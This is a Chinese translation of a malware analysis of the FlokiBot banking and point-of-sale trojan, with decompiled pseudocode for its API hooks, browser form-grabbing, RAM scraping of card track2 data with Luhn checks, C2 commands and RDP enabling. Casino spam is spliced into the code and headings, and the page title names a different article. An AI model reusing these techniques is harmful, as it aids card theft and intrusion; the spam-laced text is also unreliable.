我们的研究仍无法证实我们是否已发现整个感染链。虽然恶意软件具有 bot 功能,但它主要设计为 dropper。此外,低流行率和地理限制意味着其他可能的未知因素。例如,我们可能错过了仅分发到特定 IP 地址范围的其他样本。

cstm_FreeHeap(v5);

}

return v0;

}

✿ 挂钩API

→ 概述

基于ZeuS,FlokiBot 用了同一种但又有些许不同的结构数组来存储它的钩子:

typedef struct

{

void *functionForHook;

void *betway必威官网手机版:恶意软件DNSMESSENGER分析,利用DNS隧道通信木马分析。hookerFunction;

void *originalFunction;

DWORD originalFunctionSize;

DWORD dllHash;

DWORD apiHash;

} HOOKWINAPI;

在我们运行完前面用来去混淆 API 调用的脚本,以及定位好钩子结构数组之后,我们就可以很轻易的用其他的 IDA 脚本来解析它,以确定和命名钩子函数(hook_* )。我们最后得到下面的表格:

Parsing hook table @ 0x41B000...

Original Function Hooked          Hooker Function                         DLL Hash              API Hash


NtProtectVirtualMemory_wrap       hook_NtProtectVirtualMemory_wrap        84C06AAD (ntdll)                    5C2D2E7A

NtResumeThread_wrap               hook_NtResumeThread_wrap                84C06AAD (ntdll)            6273819F

LdrLoadDll_wrap                   hook_LdrLoadDll_wrap                    84C06AAD (ntdll)        18364D1F

NtQueryVirtualMemory_wrap         hook_NtQueryVirtualMemory_wrap          84C06AAD (ntdll)                  03F6C761

NtFreeVirtualMemory_wrap          hook_NtFreeVirtualMemory_wrap           84C06AAD (ntdll)                 E9D6FAB3

NtAllocateVirtualMemory_wrap      hook_NtAllocateVirtualMemory_wrap       84C06AAD

......代码省略

它们中的大多数都有安装在 ZeuS 和其他银行恶意软件中。尽管如此,我们还是能够注意到 NtFreeVirtualMemory 和 NtProtectVirtualMemory 的一些有趣的、新的钩子。我们将在下一部分看到它们的用途。

→ 浏览器中间人(Man-in-the-Browser)

Floki

通过把自己注入到 Firefox 和 Chrome 进程中并拦截 LdrLoadDll 来实现浏览器中间人攻击。如果浏览器加载的 DLL

的哈希值和 nss3.dll, nspr4.dll 或 chrome.dll 任一个的哈希值匹配,API

钩子就会自动安装,让恶意软件可以实现表单抓取和网站注入。

int __stdcall hook_LdrLoadDll_wrap(int PathToFile, int Flags, int ModuleFileName, int *ModuleHandle)

{

int result; // eax@2

int filename_len; // eax@8

int dll_hash; // eax@8

[...]

if ( cstm_WaitForSingleObject() ) {

v5 = LdrGetDllHandle_wrap(PathToFile, 0, ModuleFileName, ModuleHandle);

v6 = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);

v12 = v6;

if ( v5 < 0 && v6 >= 0 && ModuleHandle && *ModuleHandle && ModuleFileName )

{

RtlEnterCriticalSection_wrap(&unk_41D9F4);

filename_len = cstm_strlen(*(_WORD **)(ModuleFileName   4));

dll_hash = hash_filename(filename_len, v8);

if ( !(dword_41DA0C & 1) ) {

if ( dll_hash == 0x2C2B3C88 || dll_hash == 0x948B9CAB ) { // hash nss3.dll & nspr4.dll

sub_416DBD(*ModuleHandle, dll_hash);

if ( dword_41DC2C )

v11 = setNspr4Hooks(v10, dword_41DC2C);

}

else if ( dll_hash == 0xCAAD3C25 ) {     // hash chrome.dll

if ( byte_41B2CC ) {

if ( setChromeHooks() )

dword_41DA0C |= 2u;

}

[...]

}

else

{

result = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);

}

return result;

}

→ 证书窃取

通过挂钩 PFXImportCertStore ,FlokiBot 可以窃取数字证书。此法 Zeus 和 Carberp 也有用到。

→ 保护钩子

FlokiBot

通过放置一个钩子和过滤 NtProtectVirtualMemory

调用来保护它的钩子,以防止它们被累死杀毒软件复位到原函数中。无论何时,当一个程序想要改变Floki已经注入的进程的内存保护机制的时候,Floki会阻断该调用并返回STATUS_ACCESS_DENIED.

unsigned int __stdcall hook_NtProtectVirtualMemory_wrap(void *ProcessHandle, int *BaseAddress, int NumberOfBytesToProtect, int NewAccessProtection, int OldAccessProtection)

{

int retBaseAddress; // [sp 18h] [bp Ch]@7

[...]

v11 = 0;

v5 = BaseAddress;

if ( cstm_WaitForSingleObject() && BaseAddress && ProcessHandle == GetCurrentProcess() )

{

if ( check_base_addr(*BaseAddress) )

return 0xC0000022;                        // STATUS_ACCESS_DENIED

RtlEnterCriticalSection_wrap(&unk_41E6E8);

v11 = 1;

}

retBaseAddress = NtProtectVirtualMemory_wrap(

ProcessHandle,

BaseAddress,

NumberOfBytesToProtect,

NewAccessProtection,

OldAccessProtection);

[...]

LABEL_18:

if ( v11 )

RtlLeaveCriticalSection_wrap(&unk_41E6E8);

return retBaseAddress;

}

→ PoS恶意软件特征:内存截取

在我的前一篇文章中,我逆向了一款非常基础的叫做 TreasureHunter 的 PoS 恶意软件。它主要用内存截取为主要手段来窃取主账号(PAN)。

像大多数PoS恶意软件,FlokiBot

通过定期读取进程内存来搜索 track2 PAN 。显然,这并不是很有效,因为你不能时刻监测内存,这样就会漏掉很多潜在的

PAN。为克服这个问题,在 Floki 把自己注入到某一个进程后,它会放置一个钩子到 NtFreeVirtualMemory

中,这样当该进程想要释放一大块内存的时候它就可以提前搜寻 track2 PAN 。用这种方法,它就不太可能会错失PAN.

int __stdcall hook_NtFreeVirtualMemory_wrap(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType)

{

PVOID v4; // ebx@1

int v5; // edi@3

RtlEnterCriticalSection_wrap(&unk_41E6E8);

v4 = 0;

if ( BaseAddress )

v4 = *BaseAddress;

v5 = NtFreeVirtualMemory_wrap(ProcessHandle, BaseAddress, RegionSize, FreeType);

if ( v5 >= 0 && !dword_41E6A8 && ProcessHandle == (HANDLE)-1 && cstm_WaitForSingleObject() )

trigger_ram_scraping((int)v4);

RtlLeaveCriticalSection_wrap(&unk_41E6E8);

return v5;

}

当 Floki 发现 track2 数据,它就会通过查看 PAN 的开头来确定发行方。在这个饱含信息量的网页,你可以找到一系列发行方的识别号:

.

Floki 并没有查看整个IIN (6 位),而是只检查了第一位看它是否符合下面的发行方:

3: Amex / Dinners / JP

4:VISA

5:Mastercard

6: Discover

FlokiBot identify_mii 流程:

betway必威官网手机版 40

请点击此处输入图片描述

然后,它根据 Luhn 算法查看 PAN 是否有效:

char __usercall check_mii_luhn@(void *a1@, _BYTE *a2@)

{

char result; // al@1

[...]

result = identify_mii(*a2, a1);

if ( result )

{

v7 = 0;    v3 = 1;    v8 = 2;

v9 = 4;    v10 = 6;    v11 = 8;

v12 = 1;    v13 = 3;    v14 = 5;

v15 = 7;    v16 = 9;    v4 = 0;    v5 = 16;

do    // Luhn Algorithm

{

v6 = a2[--v5] - '0';

if ( !v3 )

v6 = *(&v7   v6);

v4  = v6;

v3 = v3 == 0;

}

while ( v5 );

result = v4 % 10 == 0;

}

return result;

}

→ 通讯

通讯是用 RC4 和异或混合加密的。我们用来去混淆字符串的代码可以帮我们识别下面这些明确命名的命令行:

user_flashplayer_remove

user_flashplayer_get

user_homepage_setuser_url_unblock

user_url_block

user_certs_remove

user_certs_get

user_cookies_remove

user_cookies_get

user_execute

user_logoff

user_destroy

fs_search_remove

fs_search_add

fs_path_get

bot_ddos_stop

bot_ddos_start

bot_httpinject_enablebot_betway必威官网手机版,httpinject_disablebot_bc_remove

bot_bc_add

bot_update_exe

bot_update

bot_uninstall

os_reboot

os_shutdown

现在  FlokiBot 还没有只是 TOR,但你可以在代码中找到这个特征的一些痕迹。

→ 激活远程桌面协议(RDP)

这个 payload 想要通过寄存器来手动激活远程 Windows 桌面,然后执行控制台命令行添加一个隐形的管理员账号 test_account:test_password 。

betway必威官网手机版 41

请点击此处输入图片描述

enable_remote_desktop 函数的伪码:

void enable_remote_desktop()

{

signed int v0; // eax@3

int v1; // [sp 0h] [bp-Ch]@2

int v2; // [sp 4h] [bp-8h]@2

int v3; // [sp 8h] [bp-4h]@2

if ( byte_41E43C ) {

v2 = 0;

v1 = 4;

v3 = 0x80000002;

if ( RegOpenKeyExW_wrap(0x80000002, L"SYSTEM\CurrentControlSet\Control\Terminal Server", 0, 1, &v3) )

v0 = -1;

else

v0 = cstm_RegQueryValueExW(&v3, (int)L"fDenyTSConnections", (int)&v1, (int)&v2, 4);

if ( v0 != -1 ) {

if ( v2 ) {

v3 = 0;                                 // 0 = Enables remote desktop connections

cstm_RegSetValueExW(

0x80000002,

(int)L"SYSTEM\CurrentControlSet\Control\Terminal Server",

(int)L"fDenyTSConnections",

4,

(int)&v3,

4);

}

}

}

}

自从 ATS 这种方式因为太复杂而不能编程以及太难部署后,使用远程桌面进行网络犯罪成为了新的方式。通过这种方式,它们可以获取被感染的电脑的所有权限,从而获得目标的信息,并执行欺诈任务,例如手动转移钱财。

✿ 最后需要注意的和哈希值

FlokiBot

是又一基于 ZeuS 的恶意软件,有些代码甚至是直接从 Carberp 拿来的。虽然如此,它的解除挂钩操作和 PoS

恶意软件特征都很有趣,值得分析。而且,它的混淆技术很简单,可以不用 AppCall,只用 IDA 脚本就可以进行静态分析。

针对最近的 FlokiBot 样本,@v0id_hunter  上传了了下面这些 SHA256.

23E8B7D0F9C7391825677C3F13FD2642885F6134636E475A3924BA5BDD1D4852

997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a

f778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd......省略

感谢阅读。

​阅读原文

本文由 看雪翻译小组 lumou 编译,来源 Arnaud Delmas

更多优秀文章,长按下方二维码,“关注看雪学院公众号”查看!

betway必威官网手机版 42

看雪论坛:http://bbs.pediy.com/ 

微信公众号 ID:ikanxue

微博:看雪安全

投稿、合作:www.kanxue.com 

本文由betway必威官网手机版发布于互联网知识,转载请注明出处:betway必威官网手机版:恶意软件DNSMESSENGER分析,

关键词: